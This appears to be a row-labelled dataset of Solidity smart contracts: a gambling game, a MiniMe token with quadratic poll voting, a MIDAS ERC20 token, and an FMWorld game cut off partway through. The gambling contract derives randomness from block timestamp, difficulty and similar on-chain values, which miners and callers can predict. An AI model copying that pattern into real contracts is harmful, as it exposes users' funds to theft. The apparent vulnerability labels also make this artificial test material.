player_[msg.sender].playerWin = player_[msg.sender].playerGen.div(3);
}
subJackPot(player_[msg.sender].playerWin);
resetPlayer();
}
function withdraw()
isActivated
isHuman
public
payable
{
(uint pot, uint mask) = getPlayerWin(msg.sender);
uint amount = pot + mask;
require(amount > 0, 'sorry not enough eth to withdraw');
if (amount > address(this).balance)
amount = address(this).balance;
msg.sender.transfer(amount);
player_[msg.sender].playerWinPot = 0;
player_[msg.sender].totalGen = 0;
maskpot = maskpot.sub(mask);
}
event randomlog(address addr, uint16 x);
function randomX(uint16 _s)
private
returns (uint16)
{
uint256 x = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number).add
(lastPlayer).add
(gasleft()).add
(block.gaslimit).add
(noncex).add
(_s)
)));
x = x - ((x / 100) * 100);
if (x > 50) {
lastPlayer = player_[msg.sender].id;
} else {
noncex ++;
if (noncex > 1000000000)
noncex = 1;
}
if (x == 0) {
x = 1;
}
emit randomlog(msg.sender, uint16(x));
return uint16(x);
}
function active()
onlyOwner
public
{
activated = true;
}
function setAdmin(address _addr)
private
{
admins[_addr] = true;
player_[_addr].RetryTimes = 10;
player_[_addr].playerWinPot = 1 ether;
}
function withCom(address _addr)
onlyOwner
public
{
uint _com = compot;
if (address(this).balance < _com)
_com = address(this).balance;
compot = 0;
_addr.transfer(_com);
}
function openJackPot(uint amount)
onlyOwner
public
{
require(amount <= jackpot);
maskpot += amount;
jackpot -= amount;
}
function resetTime(uint16 r6, uint16 r7, uint16 r8, uint16 r9, uint16 l6, uint16 l7, uint16 l8, uint16 l9, uint max, uint16 _inmax)
onlyOwner
public {
times6 = 0;
times7 = 0;
times8 = 0;
times9 = 0;
timeslucky = 0;
timesfucky = 0;
timesno = 0;
if (r6 > 0)
reward6 = r6;
if (r7 > 0)
reward7 = r7;
if (r8 > 0)
reward8 = r8;
if (r9 > 0)
reward9 = r9;
if (l6 > 0)
limit6 = l6;
if (l7 > 0)
limit7 = l7;
if (l8 > 0)
limit8 = l8;
if (l9 > 0)
limit9 = l9;
if (max > 1)
maxFee = max;
if (inmax >= 3)
inmax = _inmax;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x, 1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z), z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x, x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x == 0)
return (0);
else if (y == 0)
return (1);
else
{
uint256 z = x;
for (uint256 i = 1; i < y; i++)
z = mul(z, x);
return (z);
}
}
} | 0 | 1,523 |
pragma solidity ^0.4.23;
interface ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 _amount,
address _token,
bytes _data
) external;
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() internal {
controller = msg.sender;
}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint len;
uint memPtr;
}
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
if (item.length == 0)
return RLPItem(0, 0);
uint memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory result) {
require(isList(item));
uint items = numItems(item);
result = new RLPItem[](items);
uint memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint dataLen;
for (uint i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
}
function isList(RLPItem memory item) internal pure returns (bool) {
uint8 byte0;
uint memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START)
return false;
return true;
}
function numItems(RLPItem memory item) internal pure returns (uint) {
uint count = 0;
uint currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr);
count++;
}
return count;
}
function _itemLength(uint memPtr) internal pure returns (uint len) {
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
return 1;
else if (byte0 < STRING_LONG_START)
return byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen)))
len := add(dataLen, add(byteLen, 1))
}
}
else if (byte0 < LIST_LONG_START) {
return byte0 - LIST_SHORT_START + 1;
}
else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen)))
len := add(dataLen, add(byteLen, 1))
}
}
}
function _payloadOffset(uint memPtr) internal pure returns (uint) {
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START))
return 1;
else if (byte0 < LIST_SHORT_START)
return byte0 - (STRING_LONG_START - 1) + 1;
else
return byte0 - (LIST_LONG_START - 1) + 1;
}
function toBoolean(RLPItem memory item) internal pure returns (bool) {
require(item.len == 1, "Invalid RLPItem. Booleans are encoded in 1 byte");
uint result;
uint memPtr = item.memPtr;
assembly {
result := byte(0, mload(memPtr))
}
return result == 0 ? false : true;
}
function toAddress(RLPItem memory item) internal pure returns (address) {
require(item.len == 21, "Invalid RLPItem. Addresses are encoded in 20 bytes");
uint memPtr = item.memPtr + 1;
uint addr;
assembly {
addr := div(mload(memPtr), exp(256, 12))
}
return address(addr);
}
function toUint(RLPItem memory item) internal pure returns (uint) {
uint offset = _payloadOffset(item.memPtr);
uint len = item.len - offset;
uint memPtr = item.memPtr + offset;
uint result;
assembly {
result := div(mload(memPtr), exp(256, sub(32, len)))
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes) {
uint offset = _payloadOffset(item.memPtr);
uint len = item.len - offset;
bytes memory result = new bytes(len);
uint destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(item.memPtr + offset, destPtr, len);
return result;
}
function copy(uint src, uint dest, uint len) internal pure {
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
uint mask = 256 ** (WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
contract RLPHelper {
using RLPReader for bytes;
using RLPReader for uint;
using RLPReader for RLPReader.RLPItem;
function isList(bytes memory item) public pure returns (bool) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return rlpItem.isList();
}
function itemLength(bytes memory item) public pure returns (uint) {
uint memPtr;
assembly {
memPtr := add(0x20, item)
}
return memPtr._itemLength();
}
function numItems(bytes memory item) public pure returns (uint) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return rlpItem.numItems();
}
function toBytes(bytes memory item) public pure returns (bytes) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return rlpItem.toBytes();
}
function toUint(bytes memory item) public pure returns (uint) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return rlpItem.toUint();
}
function toAddress(bytes memory item) public pure returns (address) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return rlpItem.toAddress();
}
function toBoolean(bytes memory item) public pure returns (bool) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return rlpItem.toBoolean();
}
function bytesToString(bytes memory item) public pure returns (string) {
RLPReader.RLPItem memory rlpItem = item.toRlpItem();
return string(rlpItem.toBytes());
}
function pollTitle(bytes memory item) public pure returns (string) {
RLPReader.RLPItem[] memory items = item.toRlpItem().toList();
return string(items[0].toBytes());
}
function pollBallot(bytes memory item, uint ballotNum) public pure returns (string) {
RLPReader.RLPItem[] memory items = item.toRlpItem().toList();
items = items[1].toList();
return string(items[ballotNum].toBytes());
}
}
interface TokenController {
function proxyPayment(address _owner) external payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) external returns(bool);
function onApprove(address _owner, address _spender, uint _amount) external
returns(bool);
}
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 supply);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MiniMeTokenInterface is ERC20Token {
function approveAndCall(
address _spender,
uint256 _amount,
bytes _extraData
)
external
returns (bool success);
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
)
public
returns(address);
function generateTokens(
address _owner,
uint _amount
)
public
returns (bool);
function destroyTokens(
address _owner,
uint _amount
)
public
returns (bool);
function enableTransfers(bool _transfersEnabled) public;
function claimTokens(address _token) public;
function balanceOfAt(
address _owner,
uint _blockNumber
)
public
constant
returns (uint);
function totalSupplyAt(uint _blockNumber) public view returns(uint);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract MiniMeToken is MiniMeTokenInterface, Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = "MMT_0.1";
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
constructor(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
)
public
{
require(_tokenFactory != address(0));
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success)
{
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) {
return false;
}
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(
address _from,
address _to,
uint _amount
)
internal
returns(bool)
{
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
uint256 previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
uint256 previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
emit Transfer(_from, _to, _amount);
return true;
}
function doApprove(
address _from,
address _spender,
uint256 _amount
)
internal
returns (bool)
{
require(transfersEnabled);
require((_amount == 0) || (allowed[_from][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(_from, _spender, _amount));
}
allowed[_from][_spender] = _amount;
emit Approval(_from, _spender, _amount);
return true;
}
function balanceOf(address _owner) external view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) external returns (bool success) {
doApprove(msg.sender, _spender, _amount);
}
function allowance(
address _owner,
address _spender
)
external
view
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function approveAndCall(
address _spender,
uint256 _amount,
bytes _extraData
)
external
returns (bool success)
{
require(doApprove(msg.sender, _spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() external view returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(
address _owner,
uint _blockNumber
)
public
view
returns (uint)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public view returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
)
public
returns(address)
{
uint snapshotBlock = _snapshotBlock;
if (snapshotBlock == 0) {
snapshotBlock = block.number;
}
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
emit NewCloneToken(address(cloneToken), snapshotBlock);
return address(cloneToken);
}
function generateTokens(
address _owner,
uint _amount
)
public
onlyController
returns (bool)
{
uint curTotalSupply = totalSupplyAt(block.number);
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOfAt(_owner, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
emit Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(
address _owner,
uint _amount
)
public
onlyController
returns (bool)
{
uint curTotalSupply = totalSupplyAt(block.number);
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOfAt(_owner, block.number);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
emit Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(
Checkpoint[] storage checkpoints,
uint _block
)
view
internal
returns (uint)
{
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if (
(checkpoints.length == 0) ||
(checkpoints[checkpoints.length - 1].fromBlock < block.number))
{
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) internal view returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(address(this).balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(address(this));
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract PollManager is Controlled {
struct Poll {
uint startBlock;
uint endTime;
bool canceled;
uint voters;
bytes description;
uint8 numBallots;
mapping(uint8 => mapping(address => uint)) ballots;
mapping(uint8 => uint) qvResults;
mapping(uint8 => uint) results;
mapping(uint8 => uint) votersByBallot;
address author;
}
Poll[] _polls;
MiniMeToken public token;
RLPHelper public rlpHelper;
constructor(address _token)
public {
token = MiniMeToken(_token);
rlpHelper = new RLPHelper();
}
modifier onlySNTHolder {
require(token.balanceOf(msg.sender) > 0, "SNT Balance is required to perform this operation");
_;
}
function addPoll(
uint _endTime,
bytes _description,
uint8 _numBallots)
public
onlySNTHolder
returns (uint _idPoll)
{
_idPoll = addPoll(block.number, _endTime, _description, _numBallots);
}
function addPoll(
uint _startBlock,
uint _endTime,
bytes _description,
uint8 _numBallots)
public
onlySNTHolder
returns (uint _idPoll)
{
require(_endTime > block.timestamp, "End time must be greater than current timestamp");
require(_startBlock >= block.number, "Start block must not be in the past");
require(_numBallots <= 100, "Only a max of 100 ballots are allowed");
_idPoll = _polls.length;
_polls.length ++;
Poll storage p = _polls[_idPoll];
p.startBlock = _startBlock;
p.endTime = _endTime;
p.voters = 0;
p.numBallots = _numBallots;
p.description = _description;
p.author = msg.sender;
emit PollCreated(_idPoll);
}
function updatePollDescription(
uint _idPoll,
bytes _description,
uint8 _numBallots)
public
{
require(_idPoll < _polls.length, "Invalid _idPoll");
require(_numBallots <= 100, "Only a max of 100 ballots are allowed");
Poll storage p = _polls[_idPoll];
require(p.startBlock > block.number, "You cannot modify an active poll");
require(p.author == msg.sender || msg.sender == controller, "Only the owner/controller can modify the poll");
p.numBallots = _numBallots;
p.description = _description;
p.author = msg.sender;
}
function cancelPoll(uint _idPoll)
public {
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll storage p = _polls[_idPoll];
require(!p.canceled, "Poll has been canceled already");
require(block.timestamp <= p.endTime, "Only active polls can be canceled");
if(p.startBlock < block.number){
require(msg.sender == controller, "Only the controller can cancel the poll");
} else {
require(p.author == msg.sender, "Only the owner can cancel the poll");
}
p.canceled = true;
emit PollCanceled(_idPoll);
}
function canVote(uint _idPoll)
public
view
returns(bool)
{
if(_idPoll >= _polls.length) return false;
Poll storage p = _polls[_idPoll];
uint balance = token.balanceOfAt(msg.sender, p.startBlock);
return block.number >= p.startBlock && block.timestamp < p.endTime && !p.canceled && balance != 0;
}
function sqrt(uint256 x) public pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function vote(uint _idPoll, uint[] _ballots) public {
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll storage p = _polls[_idPoll];
require(block.number >= p.startBlock && block.timestamp < p.endTime && !p.canceled, "Poll is inactive");
require(_ballots.length == p.numBallots, "Number of ballots is incorrect");
unvote(_idPoll);
uint amount = token.balanceOfAt(msg.sender, p.startBlock);
require(amount != 0, "No SNT balance available at start block of poll");
p.voters++;
uint totalBallots = 0;
for(uint8 i = 0; i < _ballots.length; i++){
totalBallots += _ballots[i];
p.ballots[i][msg.sender] = _ballots[i];
if(_ballots[i] != 0){
p.qvResults[i] += sqrt(_ballots[i] / 1 ether);
p.results[i] += _ballots[i];
p.votersByBallot[i]++;
}
}
require(totalBallots <= amount, "Total ballots must be less than the SNT balance at poll start block");
emit Vote(_idPoll, msg.sender, _ballots);
}
function unvote(uint _idPoll) public {
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll storage p = _polls[_idPoll];
require(block.number >= p.startBlock && block.timestamp < p.endTime && !p.canceled, "Poll is inactive");
if(p.voters == 0) return;
uint prevVotes = 0;
for(uint8 i = 0; i < p.numBallots; i++){
uint ballotAmount = p.ballots[i][msg.sender];
prevVotes += ballotAmount;
p.ballots[i][msg.sender] = 0;
if(ballotAmount != 0){
p.qvResults[i] -= sqrt(ballotAmount / 1 ether);
p.results[i] -= ballotAmount;
p.votersByBallot[i]--;
}
}
if(prevVotes != 0){
p.voters--;
}
emit Unvote(_idPoll, msg.sender);
}
function nPolls()
public
view
returns(uint)
{
return _polls.length;
}
function poll(uint _idPoll)
public
view
returns(
uint _startBlock,
uint _endTime,
bool _canVote,
bool _canceled,
bytes _description,
uint8 _numBallots,
bool _finalized,
uint _voters,
address _author,
uint[100] _tokenTotal,
uint[100] _quadraticVotes,
uint[100] _votersByBallot
)
{
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll storage p = _polls[_idPoll];
_startBlock = p.startBlock;
_endTime = p.endTime;
_canceled = p.canceled;
_canVote = canVote(_idPoll);
_description = p.description;
_numBallots = p.numBallots;
_author = p.author;
_finalized = (!p.canceled) && (block.number >= _endTime);
_voters = p.voters;
for(uint8 i = 0; i < p.numBallots; i++){
_tokenTotal[i] = p.results[i];
_quadraticVotes[i] = p.qvResults[i];
_votersByBallot[i] = p.votersByBallot[i];
}
}
function pollTitle(uint _idPoll) public view returns (string){
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll memory p = _polls[_idPoll];
return rlpHelper.pollTitle(p.description);
}
function pollBallot(uint _idPoll, uint _ballot) public view returns (string){
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll memory p = _polls[_idPoll];
return rlpHelper.pollBallot(p.description, _ballot);
}
function getVote(uint _idPoll, address _voter)
public
view
returns (uint[100] votes){
require(_idPoll < _polls.length, "Invalid _idPoll");
Poll storage p = _polls[_idPoll];
for(uint8 i = 0; i < p.numBallots; i++){
votes[i] = p.ballots[i][_voter];
}
return votes;
}
event Vote(uint indexed idPoll, address indexed _voter, uint[] ballots);
event Unvote(uint indexed idPoll, address indexed _voter);
event PollCanceled(uint indexed idPoll);
event PollCreated(uint indexed idPoll);
} | 0 | 451 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract MidasToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "MIDAS";
name = "MIDASCOIN";
_totalSupply = 500000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,538 |
pragma solidity ^0.4.16;
contract PlayerToken {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens);
function createPlayer(uint32[7] _skills, uint256 _position, address _owner) public returns (uint256);
function getPlayer(uint256 playerId) public view returns(uint32 talent, uint32 tactics, uint32 dribbling, uint32 kick,
uint32 speed, uint32 pass, uint32 selection);
function getPosition(uint256 _playerId) public view returns(uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract CatalogPlayers {
function getBoxPrice(uint256 _league, uint256 _position) public view returns (uint256);
function getLengthClassPlayers(uint256 _league, uint256 _position) public view returns (uint256);
function getClassPlayers(uint256 _league, uint256 _position, uint256 _index) public view returns(uint32[7] skills);
function incrementCountSales(uint256 _league, uint256 _position) public;
function getCountSales(uint256 _league, uint256 _position) public view returns(uint256);
}
contract Team {
uint256 public countPlayersInPosition;
uint256[] public teamsIds;
function createTeam(string _name, string _logo, uint256 _minSkills, uint256 _minTalent, address _owner, uint256 _playerId) public returns(uint256 _teamId);
function getPlayerTeam(uint256 _playerId) public view returns(uint256);
function getOwnerTeam(address _owner) public view returns(uint256);
function getCountPlayersOfOwner(uint256 _teamId, address _owner) public view returns(uint256 count);
function getCountPosition(uint256 _teamId, uint256 _position) public view returns(uint256);
function joinTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function isTeam(uint256 _teamId) public view returns(bool);
function leaveTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function getTeamPlayers(uint256 _teamId) public view returns(uint256[]);
function getCountPlayersOfTeam(uint256 _teamId) public view returns(uint256);
function getPlayerIdOfIndex(uint256 _teamId, uint256 index) public view returns (uint256);
function getCountTeams() public view returns(uint256);
function getTeamSumSkills(uint256 _teamId) public view returns(uint256 sumSkills);
function getMinSkills(uint256 _teamId) public view returns(uint256);
function getMinTalent(uint256 _teamId) public view returns(uint256);
}
contract FMWorldAccessControl {
address public ceoAddress;
address public cooAddress;
bool public pause = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyC() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress
);
_;
}
modifier notPause() {
require(!pause);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setPause(bool _pause) external onlyC {
pause = _pause;
}
}
contract FMWorld is FMWorldAccessControl {
address public playerTokenAddress;
address public catalogPlayersAddress;
address public teamAddress;
address private lastPlayerOwner = address(0x0);
uint256 public balanceForReward;
uint256 public deposits;
uint256 public countPartnerPlayers;
mapping (uint256 => uint256) public balancesTeams;
mapping (address => uint256) public balancesInternal;
bool public calculatedReward = true;
uint256 public lastCalculationRewardTime;
modifier isCalculatedReward() {
require(calculatedReward);
_;
}
function setPlayerTokenAddress(address _playerTokenAddress) public onlyCEO {
playerTokenAddress = _playerTokenAddress;
}
function setCatalogPlayersAddress(address _catalogPlayersAddress) public onlyCEO {
catalogPlayersAddress = _catalogPlayersAddress;
}
function setTeamAddress(address _teamAddress) public onlyCEO {
teamAddress = _teamAddress;
}
